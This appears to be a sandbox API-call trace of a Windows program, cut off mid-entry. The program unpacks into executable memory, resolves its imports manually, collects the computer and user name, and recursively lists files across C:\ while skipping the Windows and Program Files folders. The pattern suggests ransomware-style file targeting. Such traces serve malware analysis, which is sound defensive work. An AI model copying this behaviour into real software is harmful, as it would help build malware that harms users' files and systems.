VarI4FromUI1 (in: bIn=0x1, plOut=0x3df938 | out: plOut=0x3df938) returned 0x0 [0040.096] LdrGetProcedureAddress (in: BaseAddress=0x759f0000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x3df76c | out: ProcedureAddress=0x3df76c*=0x75a01856) returned 0x0 [0040.096] VirtualAlloc (lpAddress=0x0, dwSize=0x12000, flAllocationType=0x1000, flProtect=0x4) returned 0xe0000 [0040.098] LdrGetProcedureAddress (in: BaseAddress=0x759f0000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x3df7a4 | out: ProcedureAddress=0x3df7a4*=0x75a01856) returned 0x0 [0040.098] VirtualAlloc (lpAddress=0x0, dwSize=0xe000, flAllocationType=0x1000, flProtect=0x40) returned 0x100000 [0040.099] LdrGetProcedureAddress (in: BaseAddress=0x759f0000, Name="LoadLibraryA", Ordinal=0x0, ProcedureAddress=0x3df814 | out: ProcedureAddress=0x3df814*=0x75a049d7) returned 0x0 [0040.099] LdrGetProcedureAddress (in: BaseAddress=0x759f0000, Name="UnmapViewOfFile", Ordinal=0x0, ProcedureAddress=0x3df814 | out: ProcedureAddress=0x3df814*=0x75a01826) returned 0x0 [0040.099] LdrGetProcedureAddress (in: BaseAddress=0x759f0000, Name="GetProcAddress", Ordinal=0x0, ProcedureAddress=0x3df814 | out: ProcedureAddress=0x3df814*=0x75a01222) returned 0x0 [0040.099] LdrGetProcedureAddress (in: BaseAddress=0x759f0000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x3df814 | out: ProcedureAddress=0x3df814*=0x75a01856) returned 0x0 [0040.099] LdrGetProcedureAddress (in: BaseAddress=0x759f0000, Name="VirtualProtect", Ordinal=0x0, ProcedureAddress=0x3df814 | out: ProcedureAddress=0x3df814*=0x75a0435f) returned 0x0 [0040.099] LdrGetProcedureAddress (in: BaseAddress=0x759f0000, Name="AddVectoredExceptionHandler", Ordinal=0x0, ProcedureAddress=0x3df814 | out: ProcedureAddress=0x3df814*=0x772e742b) returned 0x0 [0040.100] LdrGetProcedureAddress (in: BaseAddress=0x759f0000, Name="RemoveVectoredExceptionHandler", Ordinal=0x0, ProcedureAddress=0x3df814 | out: ProcedureAddress=0x3df814*=0x772e5f41) returned 0x0 [0040.100] LoadLibraryA (lpLibFileName="msvcrt.dll") returned 0x752a0000 [0040.100] GetProcAddress (hModule=0x752a0000, lpProcName="strchr") returned 0x752adbeb [0040.100] GetProcAddress (hModule=0x752a0000, lpProcName="free") returned 0x752a9894 [0040.100] GetProcAddress (hModule=0x752a0000, lpProcName="malloc") returned 0x752a9cee [0040.100] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x759f0000 [0040.100] GetProcAddress (hModule=0x759f0000, lpProcName="FreeConsole") returned 0x75aa6aa8 [0040.100] GetProcAddress (hModule=0x759f0000, lpProcName="lstrlenW") returned 0x75a01700 [0040.100] GetProcAddress (hModule=0x759f0000, lpProcName="lstrcatW") returned 0x75a2828e [0040.100] GetProcAddress (hModule=0x759f0000, lpProcName="FindFirstFileW") returned 0x75a04435 [0040.100] GetProcAddress (hModule=0x759f0000, lpProcName="lstrcmpW") returned 0x75a05929 [0040.100] GetProcAddress (hModule=0x759f0000, lpProcName="lstrcpyW") returned 0x75a23102 [0040.100] GetProcAddress (hModule=0x759f0000, lpProcName="FindNextFileW") returned 0x75a054ee [0040.101] GetProcAddress (hModule=0x759f0000, lpProcName="FindClose") returned 0x75a04442 [0040.101] GetProcAddress (hModule=0x759f0000, lpProcName="GetModuleHandleA") returned 0x75a01245 [0040.101] GetProcAddress (hModule=0x759f0000, lpProcName="GetModuleFileNameA") returned 0x75a014b1 [0040.101] GetProcAddress (hModule=0x759f0000, lpProcName="GetComputerNameA") returned 0x75a1b6e0 [0040.101] GetProcAddress (hModule=0x759f0000, lpProcName="GetComputerNameExA") returned 0x75a842ef [0040.101] GetProcAddress (hModule=0x759f0000, lpProcName="lstrlenA") returned 0x75a05a4b [0040.101] GetProcAddress (hModule=0x759f0000, lpProcName="lstrcmpA") returned 0x75a1eceb [0040.101] GetProcAddress (hModule=0x759f0000, lpProcName="GetLastError") returned 0x75a011c0 [0040.101] GetProcAddress (hModule=0x759f0000, lpProcName="GetProcessHeap") returned 0x75a014e9 [0040.101] GetProcAddress (hModule=0x759f0000, lpProcName="HeapAlloc") returned 0x7729e026 [0040.101] GetProcAddress (hModule=0x759f0000, lpProcName="HeapFree") returned 0x75a014c9 [0040.102] GetProcAddress (hModule=0x759f0000, lpProcName="SetLastError") returned 0x75a011a9 [0040.102] GetProcAddress (hModule=0x759f0000, lpProcName="GetCurrentProcess") returned 0x75a01809 [0040.102] GetProcAddress (hModule=0x759f0000, lpProcName="GetCurrentProcessId") returned 0x75a011f8 [0040.102] LoadLibraryA (lpLibFileName="USER32.dll") returned 0x75790000 [0040.102] GetProcAddress (hModule=0x75790000, lpProcName="wsprintfA") returned 0x757bae5f [0040.102] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x756e0000 [0040.102] GetProcAddress (hModule=0x756e0000, lpProcName="GetUserNameA") returned 0x7570a4b4 [0040.103] lstrcpyW (in: lpString1=0x122718, lpString2="c:\\" | out: lpString1="c:\\") returned="c:\\" [0040.103] lstrlenW (lpString="c:\\") returned 3 [0040.103] lstrcatW (in: lpString1="c:\\", lpString2="*" | out: lpString1="c:\\*") returned="c:\\*" [0040.103] FindFirstFileW (in: lpFileName="c:\\*", lpFindFileData=0x3df284 | out: lpFindFileData=0x3df284) returned 0x775c98 [0040.104] lstrcmpW (lpString1="$Recycle.Bin", lpString2=".") returned -1 [0040.104] lstrcmpW (lpString1="$Recycle.Bin", lpString2="..") returned -1 [0040.104] lstrcmpW (lpString1="$Recycle.Bin", lpString2="Windows") returned -1 [0040.104] lstrcmpW (lpString1="$Recycle.Bin", lpString2="Program Files") returned -1 [0040.104] lstrlenW (lpString="c:\\") returned 3 [0040.104] lstrlenW (lpString="$Recycle.Bin") returned 12 [0040.104] lstrcatW (in: lpString1="c:\\", lpString2="$Recycle.Bin" | out: lpString1="c:\\$Recycle.Bin") returned="c:\\$Recycle.Bin" [0040.104] lstrcatW (in: lpString1="c:\\$Recycle.Bin", lpString2="\\" | out: lpString1="c:\\$Recycle.Bin\\") returned="c:\\$Recycle.Bin\\" [0040.104] lstrlenW (lpString="c:\\$Recycle.Bin\\") returned 16 [0040.104] lstrcatW (in: lpString1="c:\\$Recycle.Bin\\", lpString2="*" | out: lpString1="c:\\$Recycle.Bin\\*") returned="c:\\$Recycle.Bin\\*" [0040.104] FindFirstFileW (in: lpFileName="c:\\$Recycle.Bin\\*", lpFindFileData=0x3defc8 | out: lpFindFileData=0x3defc8) returned 0x775cd8 [0040.104] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0040.104] FindNextFileW (in: hFindFile=0x775cd8, lpFindFileData=0x3defc8 | out: lpFindFileData=0x3defc8) returned 1 [0040.105] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0040.105] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0040.105] FindNextFileW (in: hFindFile=0x775cd8, lpFindFileData=0x3defc8 | out: lpFindFileData=0x3defc8) returned 1 [0040.105] lstrcmpW (lpString1="S-1-5-21-2345716840-1148442690-1481144037-1000", lpString2=".") returned 1 [0040.105] lstrcmpW (lpString1="S-1-5-21-2345716840-1148442690-1481144037-1000", lpString2="..") returned 1 [0040.105] lstrlenW (lpString="c:\\$Recycle.Bin\\") returned 16 [0040.105] lstrlenW (lpString="S-1-5-21-2345716840-1148442690-1481144037-1000") returned 46 [0040.105] lstrcatW (in: lpString1="c:\\$Recycle.Bin\\", lpString2="S-1-5-21-2345716840-1148442690-1481144037-1000" | out: lpString1="c:\\$Recycle.Bin\\S-1-5-21-2345716840-1148442690-1481144037-1000") returned="c:\\$Recycle.Bin\\S-1-5-21-2345716840-1148442690-1481144037-1000" [0040.105] lstrcatW (in: lpString1="c:\\$Recycle.Bin\\S-1-5-21-2345716840-1148442690-1481144037-1000", lpString2="\\" | out: lpString1="c:\\$Recycle.Bin\\S-1-5-21-2345716840-1148442690-1481144037-1000\\") returned="c:\\$Recycle.Bin\\S-1-5-21-2345716840-1148442690-1481144037-1000\\" [0040.105] lstrlenW (lpString="c:\\$Recycle.Bin\\S-1-5-21-2345716840-1148442690-1481144037-1000\\") returned 63 [0040.105] lstrcatW (in: lpString1="c:\\$Recycle.Bin\\S-1-5-21-2345716840-1148442690-1481144037-1000\\", lpString2="*" | out: lpString1="c:\\$Recycle.Bin\\S-1-5-21-2345716840-1148442690-1481144037-1000\\*") returned="c:\\$Recycle.Bin\\S-1-5-21-2345716840-1148442690-1481144037-1000\\*" [0040.105] FindFirstFileW (in: lpFileName="c:\\$Recycle.Bin\\S-1-5-21-2345716840-1148442690-1481144037-1000\\*", lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 0x775d18 [0040.105] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0040.105] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.105] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0040.105] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0040.105] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.105] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0040.105] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0040.105] lstrlenW (lpString="c:\\$Recycle.Bin\\S-1-5-21-2345716840-1148442690-1481144037-1000\\") returned 63 [0040.106] lstrlenW (lpString="desktop.ini") returned 11 [0040.106] lstrcatW (in: lpString1="c:\\$Recycle.Bin\\S-1-5-21-2345716840-1148442690-1481144037-1000\\", lpString2="desktop.ini" | out: lpString1="c:\\$Recycle.Bin\\S-1-5-21-2345716840-1148442690-1481144037-1000\\desktop.ini") returned="c:\\$Recycle.Bin\\S-1-5-21-2345716840-1148442690-1481144037-1000\\desktop.ini" [0040.106] lstrlenW (lpString="c:\\$Recycle.Bin\\S-1-5-21-2345716840-1148442690-1481144037-1000\\desktop.ini") returned 74 [0040.106] lstrcpyW (in: lpString1=0x122928, lpString2="c:\\$Recycle.Bin\\S-1-5-21-2345716840-1148442690-1481144037-1000\\desktop.ini" | out: lpString1="c:\\$Recycle.Bin\\S-1-5-21-2345716840-1148442690-1481144037-1000\\desktop.ini") returned="c:\\$Recycle.Bin\\S-1-5-21-2345716840-1148442690-1481144037-1000\\desktop.ini" [0040.106] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 0 [0040.106] FindClose (in: hFindFile=0x775d18 | out: hFindFile=0x775d18) returned 1 [0040.106] FindNextFileW (in: hFindFile=0x775cd8, lpFindFileData=0x3defc8 | out: lpFindFileData=0x3defc8) returned 0 [0040.106] FindClose (in: hFindFile=0x775cd8 | out: hFindFile=0x775cd8) returned 1 [0040.106] FindNextFileW (in: hFindFile=0x775c98, lpFindFileData=0x3df284 | out: lpFindFileData=0x3df284) returned 1 [0040.106] lstrcmpW (lpString1="Boot", lpString2=".") returned 1 [0040.106] lstrcmpW (lpString1="Boot", lpString2="..") returned 1 [0040.106] lstrcmpW (lpString1="Boot", lpString2="Windows") returned -1 [0040.106] lstrcmpW (lpString1="Boot", lpString2="Program Files") returned -1 [0040.106] lstrlenW (lpString="c:\\") returned 3 [0040.106] lstrlenW (lpString="Boot") returned 4 [0040.106] lstrcatW (in: lpString1="c:\\", lpString2="Boot" | out: lpString1="c:\\Boot") returned="c:\\Boot" [0040.106] lstrcatW (in: lpString1="c:\\Boot", lpString2="\\" | out: lpString1="c:\\Boot\\") returned="c:\\Boot\\" [0040.106] lstrlenW (lpString="c:\\Boot\\") returned 8 [0040.106] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="*" | out: lpString1="c:\\Boot\\*") returned="c:\\Boot\\*" [0040.106] FindFirstFileW (in: lpFileName="c:\\Boot\\*", lpFindFileData=0x3defc8 | out: lpFindFileData=0x3defc8) returned 0x775cd8 [0040.106] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0040.106] FindNextFileW (in: hFindFile=0x775cd8, lpFindFileData=0x3defc8 | out: lpFindFileData=0x3defc8) returned 1 [0040.106] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0040.106] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0040.106] FindNextFileW (in: hFindFile=0x775cd8, lpFindFileData=0x3defc8 | out: lpFindFileData=0x3defc8) returned 1 [0040.106] lstrcmpW (lpString1="BCD", lpString2=".") returned 1 [0040.106] lstrcmpW (lpString1="BCD", lpString2="..") returned 1 [0040.106] lstrlenW (lpString="c:\\Boot\\") returned 8 [0040.106] lstrlenW (lpString="BCD") returned 3 [0040.106] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="BCD" | out: lpString1="c:\\Boot\\BCD") returned="c:\\Boot\\BCD" [0040.106] lstrlenW (lpString="c:\\Boot\\BCD") returned 11 [0040.106] lstrcpyW (in: lpString1=0x1214d0, lpString2="c:\\Boot\\BCD" | out: lpString1="c:\\Boot\\BCD") returned="c:\\Boot\\BCD" [0040.106] FindNextFileW (in: hFindFile=0x775cd8, lpFindFileData=0x3defc8 | out: lpFindFileData=0x3defc8) returned 1 [0040.106] lstrcmpW (lpString1="BCD.LOG", lpString2=".") returned 1 [0040.106] lstrcmpW (lpString1="BCD.LOG", lpString2="..") returned 1 [0040.106] lstrlenW (lpString="c:\\Boot\\") returned 8 [0040.106] lstrlenW (lpString="BCD.LOG") returned 7 [0040.106] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="BCD.LOG" | out: lpString1="c:\\Boot\\BCD.LOG") returned="c:\\Boot\\BCD.LOG" [0040.106] lstrlenW (lpString="c:\\Boot\\BCD.LOG") returned 15 [0040.106] lstrcpyW (in: lpString1=0x1214f0, lpString2="c:\\Boot\\BCD.LOG" | out: lpString1="c:\\Boot\\BCD.LOG") returned="c:\\Boot\\BCD.LOG" [0040.106] FindNextFileW (in: hFindFile=0x775cd8, lpFindFileData=0x3defc8 | out: lpFindFileData=0x3defc8) returned 1 [0040.107] lstrcmpW (lpString1="BCD.LOG1", lpString2=".") returned 1 [0040.107] lstrcmpW (lpString1="BCD.LOG1", lpString2="..") returned 1 [0040.107] lstrlenW (lpString="c:\\Boot\\") returned 8 [0040.107] lstrlenW (lpString="BCD.LOG1") returned 8 [0040.107] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="BCD.LOG1" | out: lpString1="c:\\Boot\\BCD.LOG1") returned="c:\\Boot\\BCD.LOG1" [0040.107] lstrlenW (lpString="c:\\Boot\\BCD.LOG1") returned 16 [0040.107] lstrcpyW (in: lpString1=0x1229c8, lpString2="c:\\Boot\\BCD.LOG1" | out: lpString1="c:\\Boot\\BCD.LOG1") returned="c:\\Boot\\BCD.LOG1" [0040.107] FindNextFileW (in: hFindFile=0x775cd8, lpFindFileData=0x3defc8 | out: lpFindFileData=0x3defc8) returned 1 [0040.107] lstrcmpW (lpString1="BCD.LOG2", lpString2=".") returned 1 [0040.107] lstrcmpW (lpString1="BCD.LOG2", lpString2="..") returned 1 [0040.107] lstrlenW (lpString="c:\\Boot\\") returned 8 [0040.107] lstrlenW (lpString="BCD.LOG2") returned 8 [0040.107] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="BCD.LOG2" | out: lpString1="c:\\Boot\\BCD.LOG2") returned="c:\\Boot\\BCD.LOG2" [0040.107] lstrlenW (lpString="c:\\Boot\\BCD.LOG2") returned 16 [0040.107] lstrcpyW (in: lpString1=0x1229f8, lpString2="c:\\Boot\\BCD.LOG2" | out: lpString1="c:\\Boot\\BCD.LOG2") returned="c:\\Boot\\BCD.LOG2" [0040.107] FindNextFileW (in: hFindFile=0x775cd8, lpFindFileData=0x3defc8 | out: lpFindFileData=0x3defc8) returned 1 [0040.107] lstrcmpW (lpString1="BOOTSTAT.DAT", lpString2=".") returned 1 [0040.107] lstrcmpW (lpString1="BOOTSTAT.DAT", lpString2="..") returned 1 [0040.107] lstrlenW (lpString="c:\\Boot\\") returned 8 [0040.107] lstrlenW (lpString="BOOTSTAT.DAT") returned 12 [0040.107] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="BOOTSTAT.DAT" | out: lpString1="c:\\Boot\\BOOTSTAT.DAT") returned="c:\\Boot\\BOOTSTAT.DAT" [0040.107] lstrlenW (lpString="c:\\Boot\\BOOTSTAT.DAT") returned 20 [0040.107] lstrcpyW (in: lpString1=0x122a28, lpString2="c:\\Boot\\BOOTSTAT.DAT" | out: lpString1="c:\\Boot\\BOOTSTAT.DAT") returned="c:\\Boot\\BOOTSTAT.DAT" [0040.107] FindNextFileW (in: hFindFile=0x775cd8, lpFindFileData=0x3defc8 | out: lpFindFileData=0x3defc8) returned 1 [0040.107] lstrcmpW (lpString1="cs-CZ", lpString2=".") returned 1 [0040.107] lstrcmpW (lpString1="cs-CZ", lpString2="..") returned 1 [0040.107] lstrlenW (lpString="c:\\Boot\\") returned 8 [0040.107] lstrlenW (lpString="cs-CZ") returned 5 [0040.107] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="cs-CZ" | out: lpString1="c:\\Boot\\cs-CZ") returned="c:\\Boot\\cs-CZ" [0040.107] lstrcatW (in: lpString1="c:\\Boot\\cs-CZ", lpString2="\\" | out: lpString1="c:\\Boot\\cs-CZ\\") returned="c:\\Boot\\cs-CZ\\" [0040.107] lstrlenW (lpString="c:\\Boot\\cs-CZ\\") returned 14 [0040.107] lstrcatW (in: lpString1="c:\\Boot\\cs-CZ\\", lpString2="*" | out: lpString1="c:\\Boot\\cs-CZ\\*") returned="c:\\Boot\\cs-CZ\\*" [0040.107] FindFirstFileW (in: lpFileName="c:\\Boot\\cs-CZ\\*", lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 0x775d18 [0040.107] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0040.107] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.107] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0040.107] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0040.107] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.107] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0040.108] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0040.108] lstrlenW (lpString="c:\\Boot\\cs-CZ\\") returned 14 [0040.108] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0040.108] lstrcatW (in: lpString1="c:\\Boot\\cs-CZ\\", lpString2="bootmgr.exe.mui" | out: lpString1="c:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned="c:\\Boot\\cs-CZ\\bootmgr.exe.mui" [0040.108] lstrlenW (lpString="c:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0040.108] lstrcpyW (in: lpString1=0x122a60, lpString2="c:\\Boot\\cs-CZ\\bootmgr.exe.mui" | out: lpString1="c:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned="c:\\Boot\\cs-CZ\\bootmgr.exe.mui" [0040.108] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 0 [0040.108] FindClose (in: hFindFile=0x775d18 | out: hFindFile=0x775d18) returned 1 [0040.108] FindNextFileW (in: hFindFile=0x775cd8, lpFindFileData=0x3defc8 | out: lpFindFileData=0x3defc8) returned 1 [0040.108] lstrcmpW (lpString1="da-DK", lpString2=".") returned 1 [0040.108] lstrcmpW (lpString1="da-DK", lpString2="..") returned 1 [0040.108] lstrlenW (lpString="c:\\Boot\\") returned 8 [0040.108] lstrlenW (lpString="da-DK") returned 5 [0040.108] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="da-DK" | out: lpString1="c:\\Boot\\da-DK") returned="c:\\Boot\\da-DK" [0040.108] lstrcatW (in: lpString1="c:\\Boot\\da-DK", lpString2="\\" | out: lpString1="c:\\Boot\\da-DK\\") returned="c:\\Boot\\da-DK\\" [0040.108] lstrlenW (lpString="c:\\Boot\\da-DK\\") returned 14 [0040.108] lstrcatW (in: lpString1="c:\\Boot\\da-DK\\", lpString2="*" | out: lpString1="c:\\Boot\\da-DK\\*") returned="c:\\Boot\\da-DK\\*" [0040.108] FindFirstFileW (in: lpFileName="c:\\Boot\\da-DK\\*", lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 0x775d18 [0040.108] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0040.108] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.108] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0040.108] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0040.108] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.108] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0040.108] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0040.108] lstrlenW (lpString="c:\\Boot\\da-DK\\") returned 14 [0040.108] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0040.108] lstrcatW (in: lpString1="c:\\Boot\\da-DK\\", lpString2="bootmgr.exe.mui" | out: lpString1="c:\\Boot\\da-DK\\bootmgr.exe.mui") returned="c:\\Boot\\da-DK\\bootmgr.exe.mui" [0040.108] lstrlenW (lpString="c:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0040.108] lstrcpyW (in: lpString1=0x122aa8, lpString2="c:\\Boot\\da-DK\\bootmgr.exe.mui" | out: lpString1="c:\\Boot\\da-DK\\bootmgr.exe.mui") returned="c:\\Boot\\da-DK\\bootmgr.exe.mui" [0040.108] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 0 [0040.108] FindClose (in: hFindFile=0x775d18 | out: hFindFile=0x775d18) returned 1 [0040.108] FindNextFileW (in: hFindFile=0x775cd8, lpFindFileData=0x3defc8 | out: lpFindFileData=0x3defc8) returned 1 [0040.108] lstrcmpW (lpString1="de-DE", lpString2=".") returned 1 [0040.108] lstrcmpW (lpString1="de-DE", lpString2="..") returned 1 [0040.108] lstrlenW (lpString="c:\\Boot\\") returned 8 [0040.108] lstrlenW (lpString="de-DE") returned 5 [0040.108] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="de-DE" | out: lpString1="c:\\Boot\\de-DE") returned="c:\\Boot\\de-DE" [0040.108] lstrcatW (in: lpString1="c:\\Boot\\de-DE", lpString2="\\" | out: lpString1="c:\\Boot\\de-DE\\") returned="c:\\Boot\\de-DE\\" [0040.108] lstrlenW (lpString="c:\\Boot\\de-DE\\") returned 14 [0040.108] lstrcatW (in: lpString1="c:\\Boot\\de-DE\\", lpString2="*" | out: lpString1="c:\\Boot\\de-DE\\*") returned="c:\\Boot\\de-DE\\*" [0040.108] FindFirstFileW (in: lpFileName="c:\\Boot\\de-DE\\*", lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 0x775d18 [0040.109] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0040.109] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.109] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0040.109] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0040.109] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.109] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0040.109] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0040.109] lstrlenW (lpString="c:\\Boot\\de-DE\\") returned 14 [0040.109] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0040.109] lstrcatW (in: lpString1="c:\\Boot\\de-DE\\", lpString2="bootmgr.exe.mui" | out: lpString1="c:\\Boot\\de-DE\\bootmgr.exe.mui") returned="c:\\Boot\\de-DE\\bootmgr.exe.mui" [0040.109] lstrlenW (lpString="c:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0040.109] lstrcpyW (in: lpString1=0x122af0, lpString2="c:\\Boot\\de-DE\\bootmgr.exe.mui" | out: lpString1="c:\\Boot\\de-DE\\bootmgr.exe.mui") returned="c:\\Boot\\de-DE\\bootmgr.exe.mui" [0040.109] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 0 [0040.109] FindClose (in: hFindFile=0x775d18 | out: hFindFile=0x775d18) returned 1 [0040.109] FindNextFileW (in: hFindFile=0x775cd8, lpFindFileData=0x3defc8 | out: lpFindFileData=0x3defc8) returned 1 [0040.109] lstrcmpW (lpString1="el-GR", lpString2=".") returned 1 [0040.109] lstrcmpW (lpString1="el-GR", lpString2="..") returned 1 [0040.109] lstrlenW (lpString="c:\\Boot\\") returned 8 [0040.109] lstrlenW (lpString="el-GR") returned 5 [0040.109] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="el-GR" | out: lpString1="c:\\Boot\\el-GR") returned="c:\\Boot\\el-GR" [0040.109] lstrcatW (in: lpString1="c:\\Boot\\el-GR", lpString2="\\" | out: lpString1="c:\\Boot\\el-GR\\") returned="c:\\Boot\\el-GR\\" [0040.109] lstrlenW (lpString="c:\\Boot\\el-GR\\") returned 14 [0040.109] lstrcatW (in: lpString1="c:\\Boot\\el-GR\\", lpString2="*" | out: lpString1="c:\\Boot\\el-GR\\*") returned="c:\\Boot\\el-GR\\*" [0040.109] FindFirstFileW (in: lpFileName="c:\\Boot\\el-GR\\*", lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 0x775d18 [0040.109] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0040.109] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.109] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0040.109] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0040.109] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.109] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0040.109] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0040.109] lstrlenW (lpString="c:\\Boot\\el-GR\\") returned 14 [0040.109] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0040.109] lstrcatW (in: lpString1="c:\\Boot\\el-GR\\", lpString2="bootmgr.exe.mui" | out: lpString1="c:\\Boot\\el-GR\\bootmgr.exe.mui") returned="c:\\Boot\\el-GR\\bootmgr.exe.mui" [0040.109] lstrlenW (lpString="c:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0040.109] lstrcpyW (in: lpString1=0x122b38, lpString2="c:\\Boot\\el-GR\\bootmgr.exe.mui" | out: lpString1="c:\\Boot\\el-GR\\bootmgr.exe.mui") returned="c:\\Boot\\el-GR\\bootmgr.exe.mui" [0040.109] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 0 [0040.109] FindClose (in: hFindFile=0x775d18 | out: hFindFile=0x775d18) returned 1 [0040.109] FindNextFileW (in: hFindFile=0x775cd8, lpFindFileData=0x3defc8 | out: lpFindFileData=0x3defc8) returned 1 [0040.109] lstrcmpW (lpString1="en-US", lpString2=".") returned 1 [0040.109] lstrcmpW (lpString1="en-US", lpString2="..") returned 1 [0040.109] lstrlenW (lpString="c:\\Boot\\") returned 8 [0040.109] lstrlenW (lpString="en-US") returned 5 [0040.109] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="en-US" | out: lpString1="c:\\Boot\\en-US") returned="c:\\Boot\\en-US" [0040.110] lstrcatW (in: lpString1="c:\\Boot\\en-US", lpString2="\\" | out: lpString1="c:\\Boot\\en-US\\") returned="c:\\Boot\\en-US\\" [0040.110] lstrlenW (lpString="c:\\Boot\\en-US\\") returned 14 [0040.110] lstrcatW (in: lpString1="c:\\Boot\\en-US\\", lpString2="*" | out: lpString1="c:\\Boot\\en-US\\*") returned="c:\\Boot\\en-US\\*" [0040.110] FindFirstFileW (in: lpFileName="c:\\Boot\\en-US\\*", lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 0x775d18 [0040.110] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0040.110] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.110] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0040.110] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0040.110] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.110] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0040.110] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0040.110] lstrlenW (lpString="c:\\Boot\\en-US\\") returned 14 [0040.110] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0040.110] lstrcatW (in: lpString1="c:\\Boot\\en-US\\", lpString2="bootmgr.exe.mui" | out: 